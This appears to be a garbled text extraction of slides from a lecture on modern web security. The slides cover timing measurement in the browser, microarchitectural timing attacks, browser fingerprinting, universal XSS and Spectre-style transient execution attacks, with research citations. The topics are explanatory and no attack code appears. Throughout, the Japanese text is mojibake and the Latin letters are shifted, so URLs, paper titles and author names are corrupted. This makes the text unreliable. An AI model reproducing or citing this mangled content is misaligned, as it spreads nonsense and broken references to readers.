    ‣ IUUQTEFWFMPQFSTHPPHMFDPNXFCGVOEBNFOUBMTQFSGPSNBODFDSJUJDBMSFOEFSJOH
    QBUI IMKB


    View full-size slide

  77. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    λΠϛϯάܭଌͷ෢ث

    ୅දతͳܭଌλΠϛϯά
    ‣ MPBEΠϕϯτ
    ‣ $SPTT0SJHJOͳ΢Οϯυ΢ؒͰ͸औΕͳ͍ɻ
    ‣ JGSBNFͳΒͦͷϑϨʔϜMPBEΠϕϯτΛMJTUFOͰ͖Δɻ
    ‣ %0.$POUFOU-PBEFE %$-
    Πϕϯτ
    ‣ ࣮͸''Ͱ͸ϖʔδதͷJGSBNFͰੜͨ͡%$-ΠϕϯτΛMJTUFOग़
    དྷΔ ੲ͔Βͷ࢓༷
    ʜ%0.'SBNF$POUFOU-PBEFE
    ‣ ࢀর(FDLPݻ༗ͷ%0.ΠϕϯτҰཡ

    IUUQTEFWFMPQFSNP[JMMBPSHKBEPDT(FDLP4QFDJpD@%0.@&WFOUT
    ‣ JNHͷPOFSSPSଐੑ
    ‣ Ϩεϙϯε͕ؼ͖ͬͯͨλΠϛϯάͷଌఆʹ࢖ΘΕ͍ͯͨ ࠓ͸



    View full-size slide

  78. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ༨ஊ

    .JDSPBSDIJUFDUVSBM"UUBDLT
    ‣ ʮਫ਼౓ͷ͍͍ཧ૝తͳλΠϚʯ͕͋Ε͹ɺ+4͔ΒͰ͋ͬͯ΋ɺ
    .JDSPBSDIJUFDUVSBM"UUBDLT͕࣮ݱ͞Ε͏Δɻ
    ‣ 4DIXBS[ FUBM ʮਫ਼౓ͷ͍͍ཧ૝తͳλΠϚʯͷݚڀ
    ‣ .4DIXBS[ $.BVSJDF %(SVTT BOE4.BOHBSE l'BOUBTUJD5JNFSTBOE8IFSFUP'JOE5IFN)JHI
    3FTPMVUJPO.JDSPBSDIJUFDUVSBM"UUBDLTJO+BWB4DSJQUz
    ‣ -JQQFUBM ࣮ࡍͷ߈ܸʹؔ͢Δݚڀ
    ‣ .-JQQ %(SVTT .4DIXBS[ %#JEOFS $.BVSJDF BOE4.BOHBSE l1SBDUJDBMLFZTUSPLFUJNJOH
    BUUBDLTJOTBOECPYFE+BWB4DSJQU z-FDU/PUFT$PNQVU4DJ JODMVEJOH4VCTFS-FDU/PUFT"SUJG*OUFMM
    -FDU/PUFT#JPJOGPSNBUJDT
    WPM-/$4 QQr
    ‣ ͦͷଞɺ&WFOU%SJWFO1SPHSBNNJOH &%1
    ʹ஫໨ͨ͠λΠϛϯ
    ά߈ܸ΋ఏҊ͞Ε͍ͯΔ 7JMBBOE,ÖQG
    ɻ
    ‣ 17JMBBOE#,ÖQG l-PPQIPMF5JNJOHBUUBDLTPOTIBSFEFWFOUMPPQTJO$ISPNF zUI64&/*94FDVS
    4ZNQ 64&/*94FDVS
    QQr


    View full-size slide

  79. ༨ஊ

    0SJHJOΛ͑ͯ͜

    View full-size slide

  80. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    0SJHJOΛ͑ͯ͜

    ΋ͬͱ8FCΛݟԼΖͯ͠ΈΔ
    ‣ ੔ཧ944 94-FBL"UUBDLT͸ɺͲͪΒ΋ݸผͷ0SJHJOʹର͢Δ
    ߈ܸͰ͋Δ͜ͱ͕෼͔Δɻ
    ‣ 944͋Δ0SJHJOʹର͢ΔεΫϦϓτͷ஫ೖʹΑΔσʔλୣऔ
    ‣ 94-FBLT͋Δ0SJHJOͷ֎͔Βͷ؍ଌʹΑΔσʔλͷਪఆ ୣऔ

    ‣ ໰0SJHJOΛ·͕ͨͬͨ߈ܸͱͯ͠͸ɺͲΜͳ΋ͷ͕ߟ͑ΒΕΔ͔ɻ
    ‣ ྫτϥοΩϯά
    ‣ 0SJHJOͷڥքΛӽ͑ͯϢʔβʔΛ௥͍͔͚Δ
    ‣ ྫϒϥ΢βશମ ͋Δ͍͸4JUF୯Ґ
    ʹର͢Δ߈ܸ
    ‣ 6944
    ‣ 3$&PS5SBOTJFOU&YFDVUJPO"UUBDLT


    View full-size slide

  81. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    #SPXTFS'JOHFSQSJOUJOH

    σʔλ͸౪Ίͳͯ͘΋ʁ
    ‣ -BQFSESJYFUBM ΒʹΑΔઆ໌
    ‣ #SPXTFS'JOHFSQSJOUͱ͸ɺϢʔβʔͷσόΠεʹؔ࿈ͨ͠Ұཡͷ৘
    ใ FH࢖༻͍ͯ͠Δ୺຤ 04 ϒϥ΢β ઃఆ
    ͷ͜ͱɻ
    ‣ #SPXTFS'JOHFSQSJOUJOH #1
    ͱ͸8FCϒϥ΢β্͔ΒσόΠεͷ
    'JOHFSQSJOUΛੜ੒͢Δߦҝͷ͜ͱɻ
    ‣ τϥοΩϯά΍੬ऑੑݕग़ɺ'SBVEEFUFDUJPO౳ʹར༻͞ΕΔɻ
    ‣ ໰#1ͱଞख๏ͷؒͰͷҧ͍͸ʁ
    ‣ ໰ͷ#1͸εςʔτϨεͰ͋Γɺଞख๏͸ͦ͏Ͱͳ͍΋ͷ͕ଟ͍ɻ
    ‣ ଞख๏ͷྫʜ$PPLJFͳͲΛ༻͍Δ


    View full-size slide

  82. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    #SPXTFS'JOHFSQSJOUJOH

    ཈͓͑ͯ͘΂͖࿦จ
    ‣ ͜ͷ෼໺ʹؔͯ͠͸ɺલ߲Ͱڍ͛ͨ-BQFSESJYFUBM ʹΑΔ
    αʔϕΠ͕ඇৗʹৄ͍͠ɻ
    ‣ 1-BQFSESJY /#JFMPWB ##BVESZ BOE("WPJOF l#SPXTFS
    'JOHFSQSJOUJOH"TVSWFZ z$P33 WPMBCT
    ‣ 4DIXBS[FUBM Ͱ͸ϒϥ΢β্ͰͷpOHFSQSJOUͷੜ੒Λࣗ
    ಈԽ +BWB4DSJQU5FNQMBUF"UUBDLT
    ͕ఏҊ͞Ε͍ͯΔɻ
    ‣ .4DIXBS[ '-BDLOFS BOE%(SVTT l+BWB4DSJQU5FNQMBUF
    "UUBDLT"VUPNBUJDBMMZ*OGFSSJOH)PTU*OGPSNBUJPOGPS5BSHFUFE
    &YQMPJUT z/ETT OP'FCSVBSZ


    View full-size slide

  83. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    6944

    6OJWFSTBM$SPTT4JUF4DSJQUJOH͞ΘΓ͚ͩ
    ‣ 6944߈ܸऀ͕೚ҙ0SJHJOΛ΋ͬͨεΫϦϓτΛ࣮ߦͰ͖ΔΑ͏
    ͳ੬ऑੑͷ͜ͱɻ
    ‣ ݪҼϒϥ΢βຊମɾϓϥάΠϯɾϒϥ΢β֦ுͷ࣮૷ෆඋɻ
    ‣ ඞಡ
    ‣ 6944EC

    IUUQTHJUIVCDPN.FUOFXVYTTEC
    ‣ .BTBUP,JOVHBXBࢯͷϒϩά

    IUUQTNBTBUPLJOVHBXBMDN
    ‣ (PPHMF͔Βग़ͨ೥ͷ࿦จ

    IUUQTBJHPPHMFSFTFBSDIQVCTQVC


    View full-size slide

  84. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    5SBOTJFOU&YFDVUJPO"UUBDLT

    FH4QFDUSF .FMUEPXO
    ‣ 5SBOTJFOU&YFDVUJPO"UUBDLT
    ‣ ഑෍1%'ͷ$IBQUFSࢀরɻ
    ‣ ڵຯͷ͋Δਓ͸ҎԼΛಡΉͱงғؾ͕෼͔Δ͔΋͠Εͳ͍ɻ
    ‣ (SVTTࢯͷത࢜࿦จ IUUQTHSVTTDD͔Β୧ΕΔ

    ‣ $$BOFMMBFUBM l"4ZTUFNBUJD&WBMVBUJPOPG5SBOTJFOU&YFDVUJPO
    "UUBDLTBOE%FGFOTFT z
    ‣ 3.DJMSPZ +4FWDJL 55FCCJ #-5JU[FS BOE57FSXBFTU
    l4QFDUSFJTIFSFUPTUBZ"OBOBMZTJTPGTJEFDIBOOFMTBOE
    TQFDVMBUJWFFYFDVUJPO zQQr
    ‣ ͜ΕΒͷൃల͕4JUF*TPMBUJPO $03# $031 $0&1 ΁ͷਐలΛଅ
    ͨ͠ ɺͱݴͬͯΑ͍ͱࢥ͏
    ɻ


    View full-size slide

  85. &YFSDJTF

    3FDPO$IBMMFOHF
    ඇެ։

    View full-size slide

  86. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ࠷ޙʹ

    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ‣ ߈ܸͱ๷ޚ͸ཪදɻྺ࢙ʹֶ΅͏ɻ
    ‣ 8FCηΩϡϦςΟΛֶͿجૅମྗΛཆ͏͜ͱ͸Ͱ͖·͔ͨ͠ʁ
    ‣ ࠓճऔΓ্͍͛ͯͳ͍࿩୊͸ͨ͘͞Μ͋Γ·͢ɻ N944 5SVTUFE5ZQFT


    ‣ ͨͩɺ΋͏े෼ཧղ͢Δ౔୆͸͋Δ͸ͣɻ
    ‣ ײ૝Λ5XJUUFSͰͭͿ΍͍ͯ͘ΕΔͱخ͍͠Ͱ͢ɻ
    ‣ TFDDBNQTFDDBNQC
    ‣ ࠓޙ΋Ұॹʹ8FCηΩϡϦςΟΛֶΜͰ͍͖·͠ΐ͏

    ‣ 'PMMPX!MNU@TXBMMPX!ZOVDIZ
    ‣ ࣄલ՝୊ͰಡΜͰ΋ΒͬͨຊͷϨϏϡϫʔ΋ืू͍ͯ͠·͢ɻ


    View full-size slide

  87. "OZ2VFTUJPOT

    View full-size slide